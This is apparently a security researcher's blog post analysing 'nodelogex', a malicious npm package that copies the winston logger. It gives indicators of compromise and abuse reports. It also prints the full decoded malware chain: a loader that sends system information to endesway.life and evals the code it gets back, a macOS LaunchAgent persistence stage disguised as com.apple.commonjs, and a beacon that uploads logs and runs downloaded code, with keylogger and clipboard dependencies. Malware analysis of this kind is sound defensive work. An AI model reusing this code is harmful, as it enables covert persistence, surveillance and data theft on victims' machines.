Nodelogex NPM malware analysis
Detecting & Analysing the Nodelogex NPM malware backdoor with Ossprey Security's detection engine. You're telling me this logger has a logger in it ?
The year is 2025, we have self driving cars, secure IoT smart home devices and cyber security is an all but solved problem.
There's one problem though, Javascript.
Let's talk about nodelogex.

It's a new package, released only 5 hours ago as of the time and writing and already on version 3.17!
The developer, devwills has helpfully left their github and the repo page so we can go check out some of their other work and see how this project has been doing.

Ok, maybe not. Likely just teething issues. I won't post the authors Github profile screenshot because I don't think it's relevant and this could just be a compromised account.
There is one thing that never lies, the code.
If you want to play along at home, here is everything you need.
Step Zero:
https://www.npmjs.com/package/nodelogex
Head on over to the NPMJS page for this package, there are 2 available versions. We'll go ahead and grab both of those.
Step 1:
Download the version releases as archived, I used this website. https://kapsave.com/npm-downloader/. Many better solutions exist, but this worked perfectly for me.
Step 2:
Open the repo and start analysing.

Immediately, i realised that I didn't actually want to read through all of these Javascript files looking for some malicious behaviour, but we have 2 versions so maybe something changed between releases that can give us a clue.
I initialised a repo with the files from version 3.17.1, then replaced them with the files in 3.17.0 and checked out the diff.
There are 2 interesting changes.

Firstly, we now learn that devwills/nodelogex is actually winstonjs/winston, an extremely popular and well known logging package, that you can find here.
Secondly we find this block of changes.

It appears that beween 3.17.0 and 3.17.1 the threat actor realised that they had actually botched their backdoor, and had to resort to a simpler approach.
But that's good, we have an auto-downloading google doc. Let's download it.
Here's the script for your convenience.
It's a big blob of base 64, so let's go ahead and decode that.
return async() => {
const { exec } = rqr("child_process");
function runCommand(command) {
return new Promise((resolve, reject) => {
exec(command, (error, stdout, stderr) => {
if (error) {
reject(`${error.message}`);
} else if (stderr) {
reject(`stderr(${stderr})`);
} else {
resolve(stdout.trim());
}
});
});
}
try {
const {fetch, $} = await import("zx");
$.verbose = false;
const os = rqr("os");
const pf_list = {
linux: 0,
darwin: 1,
win32: 2
};
let postBody = {Platform:os.platform()};
let osInfo = ["uname -a", "sw_vers", "wmic os get Caption, Version, BuildNumber"];
let cpuInfo = ["lscpu", "sysctl -a | grep cpu", "wmic cpu get Name, NumberOfCores, NumberOfLogicalProcessors"];
let memInfo = ["free -h", "top -l 1 | grep PhysMem", "wmic OS get FreePhysicalMemory,TotalVisibleMemorySize"];
let diskUsage = ["df -h", "df -h", "wmic logicaldisk get DeviceID, Size, FreeSpace"];
let networkInfo = ["ifconfig", "ifconfig", "ipconfig"];
let proc = ["ps aux", "ps aux", "tasklist"];
uid = pf_list[os.platform()];
postBody.OS = await runCommand(osInfo[uid]);
postBody.CPU = await runCommand(cpuInfo[uid]);
postBody.Memory = await runCommand(memInfo[uid]);
postBody.Disk = await runCommand(diskUsage[uid]);
postBody.Network = await runCommand(networkInfo[uid]);
postBody.Process = await runCommand(proc[uid]);
const response = await fetch(`https://endesway.life/nodelogex/handler.php?u=${uid}&task=advanced`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(postBody)
});
const data = Buffer.from(Buffer.from(await response.arrayBuffer()).toString('utf8'), 'base64').toString('utf8');
eval(data);
} catch (error) {
console.error(error.message);
}
}
Sadly, it's not particularly exciting. The malware is collecting some system info and POSTing it to hxxps://endesway.life/nodelogex/handler.php
endesway.life isn't anything special either, it's an Apache server running on Ubuntu with some PHP.

My next thought is, let's post it some data.

And to my surprise, it returned some data.
YXN5bmMgZnVuY3Rpb24gcGRfMCgpIHsNCiAgICBjb25zdCBmcyA9IHJxcigiZnMiKTsNCgljb25zdCB7IGV4ZWMgfSA9IHJxcigiY2hpbGRfcHJvY2VzcyIpOw0KCWZ1bmN0aW9uIHJ1bkNvbW1hbmQoY29tbWFuZCkgew0KCQlyZXR1cm4gbmV3IFByb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gew0KCQkJZXhlYyhjb21tYW5kLCAoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSA9PiB7DQoJCQkJaWYgKGVycm9yKSB7DQoJCQkJCXJlamVjdChgJHtlcnJvci5tZXNzYWdlfWApOw0KCQkJCX0gZWxzZSBpZiAoc3RkZXJyKSB7DQoJCQkJCXJlamVjdChgc3RkZXJyKCR7c3RkZXJyfSlgKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlyZXNvbHZlKHN0ZG91dC50cmltKCkpOw0KCQkJCX0NCgkJCX0pOw0KCQl9KTsNCgl9DQoNCglhc3luYyBmdW5jdGlvbiBkb3dubG9hZEZpbGUodXJsLCBmaWxlUGF0aCwgcGF0dGVybnMgPSBbXSkgew0KCQljb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKHVybCk7DQoJCWlmICghcmVzcG9uc2Uub2spew0KICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKGBIVFRQIEVycm9yOiAke3Jlc3BvbnNlLnN0YXR1c31gKTsNCiAgICAgICAgfSANCg0KCQlsZXQgZGF0YSA9IEJ1ZmZlci5mcm9tKEJ1ZmZlci5mcm9tKGF3YWl0IHJlc3BvbnNlLmFycmF5QnVmZmVyKCkpLnRvU3RyaW5nKCd1dGY4JyksICdiYXNlNjQnKTsNCgkJaWYoIHBhdHRlcm5zLmxlbmd0aCA+IDAgKSB7DQoJCQljb25zdCB0eHRfZGF0YSA9IGRhdGEudG9TdHJpbmcoInV0ZjgiKTsNCgkJCWNvbnN0IHR4dF9yZXBsYWNlZCA9IHBhdHRlcm5zLnJlZHVjZSgoc3RyLCB7IHBhdHRlcm4sIHJlcGxhY2VtZW50IH0pID0+IHN0ci5yZXBsYWNlKHBhdHRlcm4sIHJlcGxhY2VtZW50KSwgdHh0X2RhdGEpOw0KCQkJZnMud3JpdGVGaWxlU3luYyhmaWxlUGF0aCwgdHh0X3JlcGxhY2VkKTsNCgkJfSBlbHNlIHsNCgkJCWZzLndyaXRlRmlsZVN5bmMoZmlsZVBhdGgsIGRhdGEpOw0KCQl9DQoJCQ0KICAgICAgICByZXR1cm4gdHJ1ZTsNCgl9DQoNCgl0cnkgewkJDQoJCWNvbnN0IHtmZXRjaH0gPSBhd2FpdCBpbXBvcnQoInp4Iik7DQoNCgkJY29uc3QgYXBwX2xhYmVsID0gImNvbS5hcHBsZS5jb21tb25qcyINCgkJY29uc3QgZGlyUGF0aCA9IGAke3Byb2Nlc3MuZW52LkhPTUV9L0xpYnJhcnkvJHthcHBfbGFiZWx9YDsNCgkJY29uc3QgbGF1bmNoQWdlbnRQYXRoID0gYCR7cHJvY2Vzcy5lbnYuSE9NRX0vTGlicmFyeS9MYXVuY2hBZ2VudHMvJHthcHBfbGFiZWx9LnBsaXN0YDsNCiAgICAgICAgZnMubWtkaXJTeW5jKGRpclBhdGgsIHsgcmVjdXJzaXZlOiB0cnVlIH0pOw0KDQoJCWNvbnN0IGV4ZVBhdGggPSBgJHtkaXJQYXRofS9ub2RlYDsNCgkJY29uc3QgcGFja2FnZV9qc29uID0gYCR7ZGlyUGF0aH0vcGFja2FnZS5qc29uYDsNCgkJY29uc3Qgc2NyaXB0UGF0aCA9IGAke2RpclBhdGh9L2RlZmF1bHQuanNgOw0KDQoJCWZzLmNvcHlGaWxlU3luYyhwcm9jZXNzLmV4ZWNQYXRoLCBleGVQYXRoKTsNCg0KCQljb25zdCBsYXVuY2hBZ2VudF9wYXR0ZXJucyA9IFsgDQoJCQl7cGF0dGVybjogLyNXT1JLIy9nLCByZXBsYWNlbWVudDogZGlyUGF0aH0sDQoJCQl7cGF0dGVybjogLyNQQVRIIy9nLCByZXBsYWNlbWVudDogcHJvY2Vzcy5lbnYuUEFUSH0sDQoJCQl7cGF0dGVybjogLyNIT01FIy9nLCByZXBsYWNlbWVudDogcHJvY2Vzcy5lbnYuSE9NRX0NCgkJXTsNCg0KICAgICAgICBhd2FpdCBQcm9taXNlLmFsbChbDQogICAgICAgICAgICBkb3dubG9hZEZpbGUoYGh0dHBzOi8vZW5kZXN3YXkubGlmZS9ub2RlbG9nZXgvaGFuZGxlci5waHA/dT0zMGAsIHBhY2thZ2VfanNvbiksDQogICAgICAgICAgICBkb3dubG9hZEZpbGUoYGh0dHBzOi8vZW5kZXN3YXkubGlmZS9ub2RlbG9nZXgvaGFuZGxlci5waHA/dT0zMWAsIHNjcmlwdFBhdGgpLA0KICAgICAgICAgICAgZG93bmxvYWRGaWxlKGBodHRwczovL2VuZGVzd2F5LmxpZmUvbm9kZWxvZ2V4L2hhbmRsZXIucGhwP3U9MzJgLCBsYXVuY2hBZ2VudFBhdGgsIGxhdW5jaEFnZW50X3BhdHRlcm5zKQ0KICAgICAgICBdKTsNCg0KCQlhd2FpdCBydW5Db21tYW5kKGBsYXVuY2hjdGwgbG9hZCAke2xhdW5jaEFnZW50UGF0aH0gOyBsYXVuY2hjdGwgc3RhcnQgJHthcHBfbGFiZWx9YCk7DQoJfSBjYXRjaCAoZXJyb3IpIHsNCgl9DQp9DQoNCnBkXzAoKS50aGVuKCgpID0+IHt9KTs=Base64 decode again...
async function pd_0() {
const fs = rqr("fs");
const { exec } = rqr("child_process");
function runCommand(command) {
return new Promise((resolve, reject) => {
exec(command, (error, stdout, stderr) => {
if (error) {
reject(`${error.message}`);
} else if (stderr) {
reject(`stderr(${stderr})`);
} else {
resolve(stdout.trim());
}
});
});
}
async function downloadFile(url, filePath, patterns = []) {
const response = await fetch(url);
if (!response.ok){
throw new Error(`HTTP Error: ${response.status}`);
}
let data = Buffer.from(Buffer.from(await response.arrayBuffer()).toString('utf8'), 'base64');
if( patterns.length > 0 ) {
const txt_data = data.toString("utf8");
const txt_replaced = patterns.reduce((str, { pattern, replacement }) => str.replace(pattern, replacement), txt_data);
fs.writeFileSync(filePath, txt_replaced);
} else {
fs.writeFileSync(filePath, data);
}
return true;
}
try {
const {fetch} = await import("zx");
const app_label = "com.apple.commonjs"
const dirPath = `${process.env.HOME}/Library/${app_label}`;
const launchAgentPath = `${process.env.HOME}/Library/LaunchAgents/${app_label}.plist`;
fs.mkdirSync(dirPath, { recursive: true });
const exePath = `${dirPath}/node`;
const package_json = `${dirPath}/package.json`;
const scriptPath = `${dirPath}/default.js`;
fs.copyFileSync(process.execPath, exePath);
const launchAgent_patterns = [
{pattern: /#WORK#/g, replacement: dirPath},
{pattern: /#PATH#/g, replacement: process.env.PATH},
{pattern: /#HOME#/g, replacement: process.env.HOME}
];
await Promise.all([
downloadFile(`https://endesway.life/nodelogex/handler.php?u=30`, package_json),
downloadFile(`https://endesway.life/nodelogex/handler.php?u=31`, scriptPath),
downloadFile(`https://endesway.life/nodelogex/handler.php?u=32`, launchAgentPath, launchAgent_patterns)
]);
await runCommand(`launchctl load ${launchAgentPath} ; launchctl start ${app_label}`);
} catch (error) {
}
}
pd_0().then(() => {});This script seems to create some persistent files in the system, downloads 3 files from the same endesway.life domain and sets them up to be run automatically. The only logical thing to do now is download them.
All 3 of these files were base64, so to spare you the trouble, here you go.
File 1 (u=30):
{
"name": "simple",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"active-win": "^8.2.1",
"clipboardy": "^4.0.0",
"node-global-key-listener": "^0.3.0",
"robotjs": "^0.6.0",
"ws": "^8.18.1",
"zx": "^8.4.1"
}
}
File 2 (u=31)
async function pd_31() {
const fs = require("fs");
let new_down = false;
function packageInstall(installer) {
try {
const { execSync } = require("child_process");
const ex_cmd = `cd "${__dirname}" ; ${installer} install`;
console.log(`ex_cmd : ${ex_cmd}`);
const result = execSync(ex_cmd, { encoding: 'utf-8', stdio: 'pipe' });
console.log('stdout :', result);
return true;
} catch (error) {
console.error('ex_err :', error.stderr.toString());
return false;
}
}
async function UploadFiles(upload_url, upload_files, response_file) {
const upload_data = {};
const path = require("path");
for (const filePath of upload_files) {
try {
const file_data = fs.readFileSync(filePath);
const file_name = path.basename(filePath, path.extname(filePath));
upload_data[file_name] = file_data.toString('base64');
fs.unlinkSync(filePath);
} catch (error) {
console.error(`Error reading file ${filePath}:`, error);
}
}
try {
const response = await fetch(upload_url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(upload_data)
});
if (!response.ok){
throw new Error(`HTTP Error: ${response.status}`);
}
const data = Buffer.from(Buffer.from(await response.arrayBuffer()).toString('utf8'), 'base64');
if( data.length > 0 ) {
fs.writeFileSync(response_file, data);
new_down = true;
}
return true;
} catch (error) {
console.error(error);
}
}
try {
const pkgInstaller = ["npm", "fnm", "pnpm"];
let vaild_pkgInstaller = "";
let pkgInstalled = false;
for( let i = 0 ; i < pkgInstaller.length ; i ++ ) {
if( packageInstall(pkgInstaller[i]) ) {
pkgInstalled = true;
vaild_pkgInstaller = pkgInstaller[i];
console.log(`Valid Package Installer : ${vaild_pkgInstaller}`);
break;
}
}
if( pkgInstalled == false ) {
console.error("No package installer found.");
return;
}
const {fetch} = await import("zx");
const scriptPath = `${__dirname}/addon.js`;
const upload_files = [`${__dirname}/output.log`, `${__dirname}/error.log`];
async function work() {
new_down = false;
await Promise.all([
UploadFiles(`https://endesway.life/nodelogex/handler.php?u=130`, upload_files, scriptPath),
]);
if( new_down ) {
const { spawn } = require("child_process");
const child = spawn(process.execPath, [scriptPath], { windowsHide: true, detached: true, stdio: "ignore", shell: true});
child.unref();
}
setTimeout(work, 600000);
}
work();
} catch (error) {
console.error(error.message);
}
}
pd_31().then(() => {console.log("pd_31 finished.");});File 3 (u = 32)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.commonjs</string>
<key>ProgramArguments</key>
<array>
<string>#WORK#/node</string>
<string>#WORK#/default.js</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>LimitLoadToSessionType</key>
<string>Aqua</string>
<key>StartInterval</key>
<integer>600</integer>
<key>EnvironmentVariables</key>
<dict>
<key>PATH</key>
<string>#PATH#</string>
<key>HOME</key>
<string>#HOME#</string>
</dict>
<key>StandardOutPath</key>
<string>#WORK#/output.log</string>
<key>StandardErrorPath</key>
<string>#WORK#/error.log</string>
</dict>
</plist>
This payload, and entire chain seems dedicated to targetting Apple devices, uploading log files, and registering what appears to be some kind of key or clipboard logger.
Unfortunately, it was at this point that the infrastructure went down. I'll never know for sure but i'll blame it on my extremely loud investigation, which seeing as the package had 0 downloads at the time of writing, was probably the only activity on the server.
But we can still take a look at this domain.


There is nothing of note here, a cheap disposable domain, about halfway through it's registration period, and a backend hosted on Hetzner.
Shodan and Greynoize did not have any further information on this URL or IP.
Please find below some IOC's and known details about this nodelogex malware.
Google Docs ID: 1prQlXmreHK0Q-6I7t01kDbCmrswma54W
URL: endesway.life
IP: 46.62.219.59
Package: nodelogexAbuse reports were sent to NPMJS, PublicDomainRegistry, Hetzner.
As always, thank you for reading. Hope you enjoyed, feel free to leave a comment with your thoughts!